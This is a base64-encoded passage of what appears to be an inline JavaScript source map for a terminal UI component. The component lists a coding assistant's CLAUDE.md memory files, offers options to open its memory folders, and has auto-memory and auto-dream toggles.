CAgICAgIWZpbGUuaXNOZXN0ZWQgJiZcbiAgICAgIGZpbGUucGF0aCA9PT0gcHJvamVjdE1lbW9yeVBhdGhcbiAgICApIHtcbiAgICAgIGxhYmVsID0gYFByb2plY3QgbWVtb3J5YFxuICAgIH0gZWxzZSBpZiAoZGVwdGggPiAwKSB7XG4gICAgICAvLyBGb3IgY2hpbGQgbm9kZXMgKGltcG9ydGVkIGZpbGVzKSwgc2hvdyBpbmRlbnRlZCB3aXRoIExcbiAgICAgIGxhYmVsID0gYCR7aW5kZW50fUwgJHtkaXNwbGF5UGF0aH0ke2V4aXN0c0xhYmVsfWBcbiAgICB9IGVsc2Uge1xuICAgICAgLy8gRm9yIG90aGVyIG1lbW9yeSBmaWxlcywganVzdCBzaG93IHRoZSBwYXRoXG4gICAgICBsYWJlbCA9IGAke2Rpc3BsYXlQYXRofWBcbiAgICB9XG5cbiAgICAvLyBDcmVhdGUgZGVzY3JpcHRpb24gYmFzZWQgb24gdHlwZSAtIGtlZXAgdGhlIG9yaWdpbmFsIGRlc2NyaXB0aW9ucyBmb3IgYnVpbHQtaW4gdHlwZXNcbiAgICBsZXQgZGVzY3JpcHRpb246IHN0cmluZ1xuICAgIGNvbnN0IGlzR2l0ID0gcHJvamVjdElzSW5HaXRSZXBvKGdldE9yaWdpbmFsQ3dkKCkpXG5cbiAgICBpZiAoZmlsZS50eXBlID09PSAnVXNlcicgJiYgIWZpbGUuaXNOZXN0ZWQpIHtcbiAgICAgIGRlc2NyaXB0aW9uID0gJ1NhdmVkIGluIH4vLmNsYXVkZS9DTEFVREUubWQnXG4gICAgfSBlbHNlIGlmIChcbiAgICAgIGZpbGUudHlwZSA9PT0gJ1Byb2plY3QnICYmXG4gICAgICAhZmlsZS5pc05lc3RlZCAmJlxuICAgICAgZmlsZS5wYXRoID09PSBwcm9qZWN0TWVtb3J5UGF0aFxuICAgICkge1xuICAgICAgZGVzY3JpcHRpb24gPSBgJHtpc0dpdCA/ICdDaGVja2VkIGluIGF0JyA6ICdTYXZlZCBpbid9IC4vQ0xBVURFLm1kYFxuICAgIH0gZWxzZSBpZiAoZmlsZS5wYXJlbnQpIHtcbiAgICAgIC8vIEZvciBpbXBvcnRlZCBmaWxlcyAod2l0aCBALWltcG9ydClcbiAgICAgIGRlc2NyaXB0aW9uID0gJ0AtaW1wb3J0ZWQnXG4gICAgfSBlbHNlIGlmIChmaWxlLmlzTmVzdGVkKSB7XG4gICAgICAvLyBGb3IgbmVzdGVkIGZpbGVzIChkeW5hbWljYWxseSBsb2FkZWQpXG4gICAgICBkZXNjcmlwdGlvbiA9ICdkeW5hbWljYWxseSBsb2FkZWQnXG4gICAgfSBlbHNlIHtcbiAgICAgIGRlc2NyaXB0aW9uID0gJydcbiAgICB9XG5cbiAgICByZXR1cm4ge1xuICAgICAgbGFiZWwsXG4gICAgICB2YWx1ZTogZmlsZS5wYXRoLFxuICAgICAgZGVzY3JpcHRpb24sXG4gICAgfVxuICB9KVxuXG4gIC8vIEFkZCBcIk9wZW4gZm9sZGVyXCIgb3B0aW9ucyBmb3IgYXV0by1tZW1vcnkgYW5kIGFnZW50IG1lbW9yeSBkaXJlY3Rvcmllc1xuICBjb25zdCBmb2xkZXJPcHRpb25zOiBBcnJheTx7XG4gICAgbGFiZWw6IHN0cmluZ1xuICAgIHZhbHVlOiBzdHJpbmdcbiAgICBkZXNjcmlwdGlvbjogc3RyaW5nXG4gIH0+ID0gW11cblxuICBjb25zdCBhZ2VudERlZmluaXRpb25zID0gdXNlQXBwU3RhdGUocyA9PiBzLmFnZW50RGVmaW5pdGlvbnMpXG4gIGlmIChpc0F1dG9NZW1vcnlFbmFibGVkKCkpIHtcbiAgICAvLyBBbHdheXMgc2hvdyBhdXRvLW1lbW9yeSBmb2xkZXIgb3B0aW9uXG4gICAgZm9sZGVyT3B0aW9ucy5wdXNoKHtcbiAgICAgIGxhYmVsOiAnT3BlbiBhdXRvLW1lbW9yeSBmb2xkZXInLFxuICAgICAgdmFsdWU6IGAke09QRU5fRk9MREVSX1BSRUZJWH0ke2dldEF1dG9NZW1QYXRoKCl9YCxcbiAgICAgIGRlc2NyaXB0aW9uOiAnJyxcbiAgICB9KVxuXG4gICAgLy8gVGVhbSBtZW1vcnkgZGlyZWN0bHkgYmVsb3cgYXV0by1tZW1vcnkgKHRlYW0gZGlyIGlzIGEgc3ViZGlyIG9mIGF1dG8gZGlyKVxuICAgIGlmIChmZWF0dXJlKCdURUFNTUVNJykgJiYgdGVhbU1lbVBhdGhzIS5pc1RlYW1NZW1vcnlFbmFibGVkKCkpIHtcbiAgICAgIGZvbGRlck9wdGlvbnMucHVzaCh7XG4gICAgICAgIGxhYmVsOiAnT3BlbiB0ZWFtIG1lbW9yeSBmb2xkZXInLFxuICAgICAgICB2YWx1ZTogYCR7T1BFTl9GT0xERVJfUFJFRklYfSR7dGVhbU1lbVBhdGhzIS5nZXRUZWFtTWVtUGF0aCgpfWAsXG4gICAgICAgIGRlc2NyaXB0aW9uOiAnJyxcbiAgICAgIH0pXG4gICAgfVxuXG4gICAgLy8gQWRkIGFnZW50IG1lbW9yeSBmb2xkZXJzIGZvciBhZ2VudHMgdGhhdCBoYXZlIG1lbW9yeSBjb25maWd1cmVkXG4gICAgZm9yIChjb25zdCBhZ2VudCBvZiBhZ2VudERlZmluaXRpb25zLmFjdGl2ZUFnZW50cykge1xuICAgICAgaWYgKGFnZW50Lm1lbW9yeSkge1xuICAgICAgICBjb25zdCBhZ2VudERpciA9IGdldEFnZW50TWVtb3J5RGlyKGFnZW50LmFnZW50VHlwZSwgYWdlbnQubWVtb3J5KVxuICAgICAgICBmb2xkZXJPcHRpb25zLnB1c2goe1xuICAgICAgICAgIGxhYmVsOiBgT3BlbiAke2NoYWxrLmJvbGQoYWdlbnQuYWdlbnRUeXBlKX0gYWdlbnQgbWVtb3J5YCxcbiAgICAgICAgICB2YWx1ZTogYCR7T1BFTl9GT0xERVJfUFJFRklYfSR7YWdlbnREaXJ9YCxcbiAgICAgICAgICBkZXNjcmlwdGlvbjogYCR7YWdlbnQubWVtb3J5fSBzY29wZWAsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgbWVtb3J5T3B0aW9ucy5wdXNoKC4uLmZvbGRlck9wdGlvbnMpXG5cbiAgLy8gSW5pdGlhbGl6ZSB3aXRoIGxhc3Qgc2VsZWN0ZWQgcGF0aCBpZiBpdCdzIHN0aWxsIGluIHRoZSBvcHRpb25zLCBvdGhlcndpc2UgdXNlIGZpcnN0IG9wdGlvblxuICBjb25zdCBpbml0aWFsUGF0aCA9XG4gICAgbGFzdFNlbGVjdGVkUGF0aCAmJlxuICAgIG1lbW9yeU9wdGlvbnMuc29tZShvcHQgPT4gb3B0LnZhbHVlID09PSBsYXN0U2VsZWN0ZWRQYXRoKVxuICAgICAgPyBsYXN0U2VsZWN0ZWRQYXRoXG4gICAgICA6IG1lbW9yeU9wdGlvbnNbMF0/LnZhbHVlIHx8ICcnXG5cbiAgLy8gVG9nZ2xlIHN0YXRlIChsb2NhbCBjb3B5IG9mIHNldHRpbmdzIHNvIHRoZSBVSSB1cGRhdGVzIGltbWVkaWF0ZWx5KVxuICBjb25zdCBbYXV0b01lbW9yeU9uLCBzZXRBdXRvTWVtb3J5T25dID0gdXNlU3RhdGUoaXNBdXRvTWVtb3J5RW5hYmxlZClcbiAgY29uc3QgW2F1dG9EcmVhbU9uLCBzZXRBdXRvRHJlYW1Pbl0gPSB1c2VTdGF0ZShpc0F1dG9EcmVhbUVuYWJsZWQpXG5cbiAgLy8gRHJlYW0gcm93IGlzIG9ubHkgbWVhbmluZ2Z1bCB3aGVuIGF1dG8tbWVtb3J5IGlzIG9uIChkcmVhbSBjb25zb2xpZGF0ZXNcbiAgLy8gdGhhdCBkaXIpLiBTbmFwc2hvdCBhdCBtb3VudCBzbyB0aGUgcm93IGRvZXNuJ3QgdmFuaXNoIG1pZC1uYXZpZ2F0aW9uXG4gIC8vIGlmIHRoZSB1c2VyIHRvZ2dsZXMgYXV0by1tZW1vcnkgb2ZmLlxuICBjb25zdCBbc2hvd0RyZWFtUm93XSA9IHVzZVN0YXRlKGlzQXV0b01lbW9yeUVuYWJsZWQpXG5cbiAgLy8gRHJlYW0gc3RhdHVzOiBwcmVmZXIgbGl2ZSB0YXNrIHN0YXRlICh0aGlzIHNlc3Npb24gZmlyZWQgaXQpLCBmYWxsIGJhY2tcbiAgLy8gdG8gdGhlIGNyb3NzLXByb2Nlc3MgbG9jayBtdGltZS5cbiAgY29uc3QgaXNEcmVhbVJ1bm5pbmcgPSB1c2VBcHBTdGF0ZShzID0+XG4gICAgT2JqZWN0LnZhbHVlcyhzLnRhc2tzKS5zb21lKFxuICAgICAgdCA9PiB0LnR5cGUgPT09ICdkcmVhbScgJiYgdC5zdGF0dXMgPT09ICdydW5uaW5nJyxcbiAgICApLFxuICApXG4gIGNvbnN0IFtsYXN0RHJlYW1BdCwgc2V0TGFzdERyZWFtQXRdID0gdXNlU3RhdGU8bnVtYmVyIHwgbnVsbD4obnVsbClcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAoIXNob3dEcmVhbVJvdykgcmV0dXJuXG4gICAgdm9pZCByZWFkTGFzdENvbnNvbGlkYXRlZEF0KCkudGhlbihzZXRMYXN0RHJlYW1BdClcbiAgfSwgW3Nob3dEcmVhbVJvdywgaXNEcmVhbVJ1bm5pbmddKVxuXG4gIGNvbnN0IGRyZWFtU3RhdHVzID0gaXNEcmVhbVJ1bm5pbmdcbiAgICA/ICdydW5uaW5nJ1xuICAgIDogbGFzdERyZWFtQXQgPT09IG51bGxcbiAgICAgID8gJycgLy8gc3RhdCBpbiBmbGlnaHRcbiAgICAgIDogbGFzdERyZWFtQXQgPT09IDBcbiAgICAgICAgPyAnbmV2ZXInXG4gICAgICAgIDogYGxhc3QgcmFuICR7Zm9ybWF0UmVsYXRpdmVUaW1lQWdvKG5ldyBEYXRlKGxhc3REcmVhbUF0KSl9YFxuXG4gIC8vIG51bGwgPSBTZWxlY3QgaGFzIGZvY3VzLCAwID0gYXV0by1tZW1vcnksIDEgPSBhdXRvLWRyZWFtIChpZiBzaG93RHJlYW1Sb3cpXG4gIGNvbnN0IFtmb2N1c2VkVG9nZ2xlLCBzZXRGb2N1c2VkVG9nZ2xlXSA9IHVzZVN0YXRlPG51bWJlciB8IG51bGw+KG51bGwpXG4gIGNvbnN0IHRvZ2dsZUZvY3VzZWQgPSBmb2N1c2VkVG9nZ2xlICE9PSBudWxsXG4gIGNvbnN0IGxhc3RUb2dnbGVJbmRleCA9IHNob3dEcmVhbVJvdyA/IDEgOiAwXG5cbiAgZnVuY3Rpb24gaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSgpOiB2b2lkIHtcbiAgICBjb25zdCBuZXdWYWx1ZSA9ICFhdXRvTWVtb3J5T25cbiAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywgeyBhdXRvTWVtb3J5RW5hYmxlZDogbmV3VmFsdWUgfSlcbiAgICBzZXRBdXRvTWVtb3J5T24obmV3VmFsdWUpXG4gICAgbG9nRXZlbnQoJ3Rlbmd1X2F1dG9fbWVtb3J5X3RvZ2dsZWQnLCB7IGVuYWJsZWQ6IG5ld1ZhbHVlIH0pXG4gIH1cblxuICBmdW5jdGlvbiBoYW5kbGVUb2dnbGVBdXRvRHJlYW0oKTogdm9pZCB7XG4gICAgY29uc3QgbmV3VmFsdWUgPSAhYXV0b0RyZWFtT25cbiAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywgeyBhdXRvRHJlYW1FbmFibGVkOiBuZXdWYWx1ZSB9KVxuICAgIHNldEF1dG9EcmVhbU9uKG5ld1ZhbHVlKVxuICAgIGxvZ0V2ZW50KCd0ZW5ndV9hdXRvX2RyZWFtX3RvZ2dsZWQnLCB7IGVuYWJsZWQ6IG5ld1ZhbHVlIH0pXG4gIH1cblxuICB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MoKVxuXG4gIHVzZUtleWJpbmRpbmcoJ2NvbmZpcm06bm8nLCBvbkNhbmNlbCwgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJyB9KVxuXG4gIHVzZUtleWJpbmRpbmcoXG4gICAgJ2NvbmZpcm06eWVzJyxcbiAgICAoKSA9PiB7XG4gICAgICBpZiAoZm9jdXNlZFRvZ2dsZSA9PT0gMCkgaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSgpXG4gICAgICBlbHNlIGlmIChmb2N1c2VkVG9nZ2xlID09PSAxKSBoYW5kbGVUb2dnbGVBdXRvRHJlYW0oKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJywgaXNBY3RpdmU6IHRvZ2dsZUZvY3VzZWQgfSxcbiAgKVxuICB1c2VLZXliaW5kaW5nKFxuICAgICdzZWxlY3Q6bmV4dCcsXG4gICAgKCkgPT4ge1xuICAgICAgc2V0Rm9jdXNlZFRvZ2dsZShwcmV2ID0+XG4gICAgICAgIHByZXYgIT09IG51bGwgJiYgcHJldiA8IGxhc3RUb2dnbGVJbmRleCA/IHByZXYgKyAxIDogbnVsbCxcbiAgICAgIClcbiAgICB9LFxuICAgIHsgY29udGV4dDogJ1NlbGVjdCcsIGlzQWN0aXZlOiB0b2dnbGVGb2N1c2VkIH0sXG4gIClcbiAgdXNlS2V5YmluZGluZyhcbiAgICAnc2VsZWN0OnByZXZpb3VzJyxcbiAgICAoKSA9PiB7XG4gICAgICBzZXRGb2N1c2VkVG9nZ2xlKHByZXYgPT4gKHByZXYgIT09IG51bGwgJiYgcHJldiA+IDAgPyBwcmV2IC0gMSA6IHByZXYpKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnU2VsZWN0JywgaXNBY3RpdmU6IHRvZ2dsZUZvY3VzZWQgfSxcbiAgKVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgd2lkdGg9XCIxMDAlXCI+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICA8TGlzdEl0ZW0gaXNGb2N1c2VkPXtmb2N1c2VkVG9nZ2xlID09PSAwfT5cbiAgICAgICAgICA8VGV4dD5BdXRvLW1lbW9yeToge2F1dG9NZW1vcnlPbiA/ICdvbicgOiAnb2ZmJ308L1RleHQ+XG4gICAgICAgIDwvTGlzdEl0ZW0+XG4gICAgICAgIHtzaG93RHJlYW1Sb3cgJiYgKFxuICAgICAgICAgIDxMaXN0SXRlbSBpc0ZvY3VzZWQ9e2ZvY3VzZWRUb2dnbGUgPT09IDF9IHN0eWxlZD17ZmFsc2V9PlxuICAgICAgICAgICAgPFRleHQgY29sb3I9e2ZvY3VzZWRUb2dnbGUgPT09IDEgPyAnc3VnZ2VzdGlvbicgOiB1bmRlZmluZWR9PlxuICAgICAgICAgICAgICBBdXRvLWRyZWFtOiB7YXV0b0RyZWFtT24gPyAnb24nIDogJ29mZid9XG4gICAgICAgICAgICAgIHtkcmVhbVN0YXR1cyAmJiA8VGV4dCBkaW1Db2xvcj4gwrcge2RyZWFtU3RhdHVzfTwvVGV4dD59XG4gICAgICAgICAgICAgIHshaXNEcmVhbVJ1bm5pbmcgJiYgYXV0b0RyZWFtT24gJiYgKFxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiDCtyAvZHJlYW0gdG8gcnVuPC9UZXh0PlxuICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvTGlzdEl0ZW0+XG4gICAgICAgICl9XG4gICAgICA8L0JveD5cblxuICAgICAgPFNlbGVjdFxuICAgICAgICBkZWZhdWx0Rm9jdXNWYWx1ZT17aW5pdGlhbFBhdGh9XG4gICAgICAgIG9wdGlvbnM9e21lbW9yeU9wdGlvbnN9XG4gICAgICAgIGlzRGlzYWJsZWQ9e3RvZ2dsZUZvY3VzZWR9XG4gICAgICAgIG9uQ2hhbmdlPXt2YWx1ZSA9PiB7XG4gICAgICAgICAgaWYgKHZhbHVlLnN0YXJ0c1dpdGgoT1BFTl9GT0xERVJfUFJFRklYKSkge1xuICAgICAgICAgICAgY29uc3QgZm9sZGVyUGF0aCA9IHZhbHVlLnNsaWNlKE9QRU5fRk9MREVSX1BSRUZJWC5sZW5ndGgpXG4gICAgICAgICAgICAvLyBFbnN1cmUgZm9sZGVyIGV4aXN0cyBiZWZvcmUgb3BlbmluZyAoaWRlbXBvdGVudDsgc3dhbGxvd1xuICAgICAgICAgICAgLy8gcGVybWlzc2lvbiBlcnJvcnMgdG8gbWF0Y2ggcHJldmlvdXMgYmVoYXZpb3IpXG4gICAgICAgICAgICB2b2lkIG1rZGlyKGZvbGRlclBhdGgsIHsgcmVjdXJzaXZlOiB0cnVlIH0pXG4gICAgICAgICAgICAgIC5jYXRjaCgoKSA9PiB7fSlcbiAgICAgICAgICAgICAgLnRoZW4oKCkgPT4gb3BlblBhdGgoZm9sZGVyUGF0aCkpXG4gICAgICAgICAgICByZXR1cm5cbiAgICAgICAgICB9XG4gICAgICAgICAgbGFzdFNlbGVjdGVkUGF0aCA9IHZhbHVlIC8vIFJlbWVtYmVyIHRoZSBzZWxlY3Rpb25cbiAgICAgICAgICBvblNlbGVjdCh2YWx1ZSlcbiAgICAgICAgfX1cbiAgICAgICAgb25DYW5jZWw9e29uQ2FuY2VsfVxuICAgICAgICBvblVwRnJvbUZpcnN0SXRlbT17KCkgPT4gc2V0Rm9jdXNlZFRvZ2dsZShsYXN0VG9nZ2xlSW5kZXgpfVxuICAgICAgLz5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsU0FBU0EsT0FBTyxRQUFRLFlBQVk7QUFDcEMsT0FBT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